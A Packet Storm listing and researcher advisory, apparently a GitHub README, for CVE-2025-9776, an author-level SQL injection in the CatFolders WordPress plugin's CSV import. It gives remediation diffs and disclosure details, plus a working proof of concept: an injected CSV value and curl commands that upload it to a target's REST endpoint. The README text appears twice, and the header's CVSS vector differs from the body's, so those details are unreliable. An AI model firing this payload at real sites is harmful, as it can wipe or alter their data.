6.5
/ 10
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Description
WordPress CatFolders plugin versions 2.5.2 and below suffer from a remote SQL injection vulnerability...
Basic Information
ID
PACKETSTORM:220601
Published
May 8, 2026 at 00:00
Affected Product
Affected Versions
# CVE-2025-9776: Authenticated SQL Injection in CatFolders WordPress Plugin
[](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9776)
[](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
[](https://wordpress.org/plugins/catfolders/)
[](https://cwe.mitre.org/data/definitions/89.html)
[](https://www.wordfence.com/)
> **Keywords:** CVE-2025-9776, CatFolders WordPress vulnerability, SQL injection WordPress, authenticated SQL injection, WordPress security, CSV import vulnerability, WordPress plugin exploit, CWE-89, WordPress database attack, media library vulnerability, WordPress CVE 2025
## Table of Contents
- [Overview](#overview)
- [Vulnerability Details](#vulnerability-details)
- [Technical Analysis](#technical-details)
- [Proof of Concept](#proof-of-concept)
- [Remediation Guide](#remediation)
- [CVSS Metrics](#cvss-v31-metrics)
- [References](#references)
- [Security Contact](#contact)
## Overview
An authenticated SQL Injection vulnerability was discovered in the CatFolders WordPress plugin that allows Author-level users to manipulate database queries through malicious CSV imports.
**Discovered by:** Kai Aizen (SnailSploit)
**Published:** 2025
**CVSS Score:** 6.5 (Medium)
**CWE:** CWE-89 - SQL Injection
## Vulnerability Details
### Description
CatFolders – Tame Your WordPress Media Library by Category contains an authenticated SQL Injection vulnerability in the CSV import functionality. The `attachments` column from a user-supplied CSV is split into a list and passed directly to `FolderModel::set_attachments()` which concatenates those values into raw SQL `IN (...)` clauses without proper sanitization or parameterization.
### Impact
This vulnerability allows authenticated attackers with Author-level privileges to:
- Execute arbitrary SQL queries
- Mass deletion or manipulation of folder-attachment mappings
- Potential data exposure depending on payload and database structure
- Compromise database integrity and availability
### Affected Versions
- **Vulnerable:** All versions ≤ 2.5.2
- **Patched:** Version 2.5.3 and above (verify with vendor)
### CVSS v3.1 Metrics
```
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
```
| Metric | Value |
|--------|-------|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | Low (PR:L) - Author+ |
| User Interaction | None (UI:N) |
| Scope | Unchanged (S:U) |
| Confidentiality | None (C:N) |
| Integrity | Low (I:L) |
| Availability | Low (A:L) |
## Technical Details
### Vulnerable Code Path
The vulnerability exists in the CSV import workflow:
**File:** `includes/Rest/Controllers/ImportController.php`
1. The `import_csv` method parses uploaded CSV without per-field sanitization
2. `restore_folders()` calls:
```php
FolderModel::set_attachments(
$new_folder['id'],
explode(',', $folder['attachments']),
false
);
```
**File:** `includes/Models/FolderModel.php`
3. `set_attachments()` builds raw SQL using string concatenation:
```php
'raw' => 'post_id IN (' . $attachmentIds . ')'
```
4. Each element is **not** cast to integer nor parameterized, allowing SQL injection
### Attack Vector
An attacker with Author-level privileges (`upload_files` capability) can inject malicious SQL through the CSV import endpoint:
**Malicious CSV payload:**
```csv
id,name,attachments
1,Test Folder,"1) OR 1=1--"
```
**Resulting vulnerable query:**
```sql
SELECT folder_id FROM wp_catf_folder_posts
WHERE post_id IN (1) OR 1=1--)
```
This breaks out of the `IN(...)` clause and alters query semantics, potentially affecting all rows.
### Prerequisites
- Author-level account (or higher) on target WordPress site
- CatFolders plugin installed and active
- Access to the REST API import endpoint
## Proof of Concept
### Step 1: Discover the REST Namespace
```bash
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
```
Typical result: `/catf/v1/import-csv`
### Step 2: Prepare Malicious CSV
Create a file named `catf_inject.csv`:
```csv
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"
```
### Step 3: Execute the Attack
```bash
NS="/catf/v1" # Replace with discovered namespace
curl -i \
-u 'author_user:APPLICATION_PASSWORD' \
-F "file=@catf_inject.csv;type=text/csv" \
-X POST "https://target.site/wp-json${NS}/import-csv"
```
**Expected response:**
```json
{ "success": true }
```
### Impact Demonstration
The server constructs and executes:
```sql
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
```
This may perform broader DELETE/INSERT operations than intended, often wiping folder-attachment relationships across the entire database.
### Safe Testing Environment
Run the standalone SQLite simulation to observe the vulnerability safely:
```bash
python3 poc/catfolders_sql_poc.py
```
This prints the vulnerable query and demonstrates how a malicious token returns all rows, while a parameterized version properly rejects it.
## Remediation
### For Site Administrators
**Immediate Action Required:**
1. Update CatFolders to version **2.5.3** or later
2. Review user accounts with Author-level or higher privileges
3. Audit database logs for suspicious queries between affected dates
4. Check folder-attachment mappings for unexpected modifications
### For Developers
**Two minimal hardening steps:**
#### 1. Sanitize IDs Before Calling the Model
```diff
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+ FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }
```
#### 2. Enforce Integers Inside `set_attachments()`
```diff
$imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
```
### Stronger Recommendation
Replace **all** raw SQL concatenation with parameterized queries using WordPress's `$wpdb->prepare()`:
```php
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
"SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
...$imgIds
);
```
**Additionally:**
- Validate all CSV fields strictly before processing
- Implement input type validation at the API layer
- Add rate limiting to the import endpoint
- Log all import operations for audit trails
### Patch File
A complete patch is available in `patch/catfolders_fix.patch`
## Repository Structure
```
CVE-2025-9776/
├── README.md # This file
├── poc/
│ ├── catf_inject.csv # Malicious CSV payload
│ └── catfolders_sql_poc.py # Safe SQLite simulation
└── patch/
└── catfolders_fix.patch # Recommended fixes
```
## Timeline
- **Discovery Date:** 2025
- **Vendor Notification:** Coordinated disclosure via Wordfence
- **Public Disclosure:** 2025
- **Patch Available:** Version 2.5.3
## References
- [MITRE CVE Entry](https://www.cve.org/CVERecord?id=CVE-2025-9776)
- [Wordfence Intelligence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/catfolders/catfolders-tame-your-wordpress-media-library-by-category-252-authenticated-author-sql-injection-via-csv-import)
- [WordPress Plugin Directory](https://wordpress.org/plugins/catfolders/)
- [SnailSploit Research](https://snailsploit.com)
## Credits
**Researcher:** Kai Aizen (SnailSploit)
**Disclosure Process:** Coordinated through Wordfence Bug Bounty Program
## Ethical Considerations
**⚠️ IMPORTANT DISCLAIMER**
This Proof of Concept is provided **exclusively for defensive research and educational purposes**.
### Usage Guidelines
- ✅ **DO:** Test on your own systems or with explicit written authorization
- ✅ **DO:** Use for security training and awareness
- ✅ **DO:** Implement the fixes in your own code
- ❌ **DO NOT:** Test against systems without permission
- ❌ **DO NOT:** Use for malicious purposes
- ❌ **DO NOT:** Exploit in production environments
### Legal Notice
Unauthorized access to computer systems is illegal under laws including:
- Computer Fraud and Abuse Act (CFAA) - United States
- Computer Misuse Act - United Kingdom
- Similar legislation in other jurisdictions
**Use at your own risk. The researchers and SnailSploit assume no liability for misuse of this information.**
## Contact
For questions or additional information about this vulnerability:
- **Email:** [email protected]
- **LinkedIn:** [linkedin.com/in/kaiaizen](https://linkedin.com/in/kaiaizen)
- **Website:** [snailsploit.com](https://snailsploit.com)
- **Organization:** SnailSploit Security Research
---
**Stay secure and keep your WordPress installations updated!**
*Last updated: October 13, 2025*
<!-- snailsploit-backlink:start -->
---
## 📚 Documentation & Author
This project's full writeup, methodology, and related research lives at:
**[https://snailsploit.com/security-research/cves/cve-2025-9776/](https://snailsploit.com/security-research/cves/cve-2025-9776/)**
Created by **Kai Aizen** — independent offensive security researcher.
[snailsploit.com](https://snailsploit.com) · [Research](https://snailsploit.com/research) · [Frameworks](https://snailsploit.com/frameworks) · [GitHub](https://github.com/SnailSploit) · [LinkedIn](https://linkedin.com/in/kaiaizen) · [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) · [X/Twitter](https://x.com/SnailSploit)
> *Same attack. Different substrate.*
<!-- snailsploit-backlink:end -->
[](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-9776)
[](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator)
[](https://wordpress.org/plugins/catfolders/)
[](https://cwe.mitre.org/data/definitions/89.html)
[](https://www.wordfence.com/)
> **Keywords:** CVE-2025-9776, CatFolders WordPress vulnerability, SQL injection WordPress, authenticated SQL injection, WordPress security, CSV import vulnerability, WordPress plugin exploit, CWE-89, WordPress database attack, media library vulnerability, WordPress CVE 2025
## Table of Contents
- [Overview](#overview)
- [Vulnerability Details](#vulnerability-details)
- [Technical Analysis](#technical-details)
- [Proof of Concept](#proof-of-concept)
- [Remediation Guide](#remediation)
- [CVSS Metrics](#cvss-v31-metrics)
- [References](#references)
- [Security Contact](#contact)
## Overview
An authenticated SQL Injection vulnerability was discovered in the CatFolders WordPress plugin that allows Author-level users to manipulate database queries through malicious CSV imports.
**Discovered by:** Kai Aizen (SnailSploit)
**Published:** 2025
**CVSS Score:** 6.5 (Medium)
**CWE:** CWE-89 - SQL Injection
## Vulnerability Details
### Description
CatFolders – Tame Your WordPress Media Library by Category contains an authenticated SQL Injection vulnerability in the CSV import functionality. The `attachments` column from a user-supplied CSV is split into a list and passed directly to `FolderModel::set_attachments()` which concatenates those values into raw SQL `IN (...)` clauses without proper sanitization or parameterization.
### Impact
This vulnerability allows authenticated attackers with Author-level privileges to:
- Execute arbitrary SQL queries
- Mass deletion or manipulation of folder-attachment mappings
- Potential data exposure depending on payload and database structure
- Compromise database integrity and availability
### Affected Versions
- **Vulnerable:** All versions ≤ 2.5.2
- **Patched:** Version 2.5.3 and above (verify with vendor)
### CVSS v3.1 Metrics
```
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
```
| Metric | Value |
|--------|-------|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | Low (PR:L) - Author+ |
| User Interaction | None (UI:N) |
| Scope | Unchanged (S:U) |
| Confidentiality | None (C:N) |
| Integrity | Low (I:L) |
| Availability | Low (A:L) |
## Technical Details
### Vulnerable Code Path
The vulnerability exists in the CSV import workflow:
**File:** `includes/Rest/Controllers/ImportController.php`
1. The `import_csv` method parses uploaded CSV without per-field sanitization
2. `restore_folders()` calls:
```php
FolderModel::set_attachments(
$new_folder['id'],
explode(',', $folder['attachments']),
false
);
```
**File:** `includes/Models/FolderModel.php`
3. `set_attachments()` builds raw SQL using string concatenation:
```php
'raw' => 'post_id IN (' . $attachmentIds . ')'
```
4. Each element is **not** cast to integer nor parameterized, allowing SQL injection
### Attack Vector
An attacker with Author-level privileges (`upload_files` capability) can inject malicious SQL through the CSV import endpoint:
**Malicious CSV payload:**
```csv
id,name,attachments
1,Test Folder,"1) OR 1=1--"
```
**Resulting vulnerable query:**
```sql
SELECT folder_id FROM wp_catf_folder_posts
WHERE post_id IN (1) OR 1=1--)
```
This breaks out of the `IN(...)` clause and alters query semantics, potentially affecting all rows.
### Prerequisites
- Author-level account (or higher) on target WordPress site
- CatFolders plugin installed and active
- Access to the REST API import endpoint
## Proof of Concept
### Step 1: Discover the REST Namespace
```bash
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
```
Typical result: `/catf/v1/import-csv`
### Step 2: Prepare Malicious CSV
Create a file named `catf_inject.csv`:
```csv
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"
```
### Step 3: Execute the Attack
```bash
NS="/catf/v1" # Replace with discovered namespace
curl -i \
-u 'author_user:APPLICATION_PASSWORD' \
-F "file=@catf_inject.csv;type=text/csv" \
-X POST "https://target.site/wp-json${NS}/import-csv"
```
**Expected response:**
```json
{ "success": true }
```
### Impact Demonstration
The server constructs and executes:
```sql
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
```
This may perform broader DELETE/INSERT operations than intended, often wiping folder-attachment relationships across the entire database.
### Safe Testing Environment
Run the standalone SQLite simulation to observe the vulnerability safely:
```bash
python3 poc/catfolders_sql_poc.py
```
This prints the vulnerable query and demonstrates how a malicious token returns all rows, while a parameterized version properly rejects it.
## Remediation
### For Site Administrators
**Immediate Action Required:**
1. Update CatFolders to version **2.5.3** or later
2. Review user accounts with Author-level or higher privileges
3. Audit database logs for suspicious queries between affected dates
4. Check folder-attachment mappings for unexpected modifications
### For Developers
**Two minimal hardening steps:**
#### 1. Sanitize IDs Before Calling the Model
```diff
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+ FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }
```
#### 2. Enforce Integers Inside `set_attachments()`
```diff
$imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
```
### Stronger Recommendation
Replace **all** raw SQL concatenation with parameterized queries using WordPress's `$wpdb->prepare()`:
```php
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
"SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
...$imgIds
);
```
**Additionally:**
- Validate all CSV fields strictly before processing
- Implement input type validation at the API layer
- Add rate limiting to the import endpoint
- Log all import operations for audit trails
### Patch File
A complete patch is available in `patch/catfolders_fix.patch`
## Repository Structure
```
CVE-2025-9776/
├── README.md # This file
├── poc/
│ ├── catf_inject.csv # Malicious CSV payload
│ └── catfolders_sql_poc.py # Safe SQLite simulation
└── patch/
└── catfolders_fix.patch # Recommended fixes
```
## Timeline
- **Discovery Date:** 2025
- **Vendor Notification:** Coordinated disclosure via Wordfence
- **Public Disclosure:** 2025
- **Patch Available:** Version 2.5.3
## References
- [MITRE CVE Entry](https://www.cve.org/CVERecord?id=CVE-2025-9776)
- [Wordfence Intelligence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/catfolders/catfolders-tame-your-wordpress-media-library-by-category-252-authenticated-author-sql-injection-via-csv-import)
- [WordPress Plugin Directory](https://wordpress.org/plugins/catfolders/)
- [SnailSploit Research](https://snailsploit.com)
## Credits
**Researcher:** Kai Aizen (SnailSploit)
**Disclosure Process:** Coordinated through Wordfence Bug Bounty Program
## Ethical Considerations
**⚠️ IMPORTANT DISCLAIMER**
This Proof of Concept is provided **exclusively for defensive research and educational purposes**.
### Usage Guidelines
- ✅ **DO:** Test on your own systems or with explicit written authorization
- ✅ **DO:** Use for security training and awareness
- ✅ **DO:** Implement the fixes in your own code
- ❌ **DO NOT:** Test against systems without permission
- ❌ **DO NOT:** Use for malicious purposes
- ❌ **DO NOT:** Exploit in production environments
### Legal Notice
Unauthorized access to computer systems is illegal under laws including:
- Computer Fraud and Abuse Act (CFAA) - United States
- Computer Misuse Act - United Kingdom
- Similar legislation in other jurisdictions
**Use at your own risk. The researchers and SnailSploit assume no liability for misuse of this information.**
## Contact
For questions or additional information about this vulnerability:
- **Email:** [email protected]
- **LinkedIn:** [linkedin.com/in/kaiaizen](https://linkedin.com/in/kaiaizen)
- **Website:** [snailsploit.com](https://snailsploit.com)
- **Organization:** SnailSploit Security Research
---
**Stay secure and keep your WordPress installations updated!**
*Last updated: October 13, 2025*
<!-- snailsploit-backlink:start -->
---
## 📚 Documentation & Author
This project's full writeup, methodology, and related research lives at:
**[https://snailsploit.com/security-research/cves/cve-2025-9776/](https://snailsploit.com/security-research/cves/cve-2025-9776/)**
Created by **Kai Aizen** — independent offensive security researcher.
[snailsploit.com](https://snailsploit.com) · [Research](https://snailsploit.com/research) · [Frameworks](https://snailsploit.com/frameworks) · [GitHub](https://github.com/SnailSploit) · [LinkedIn](https://linkedin.com/in/kaiaizen) · [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) · [X/Twitter](https://x.com/SnailSploit)
> *Same attack. Different substrate.*
<!-- snailsploit-backlink:end -->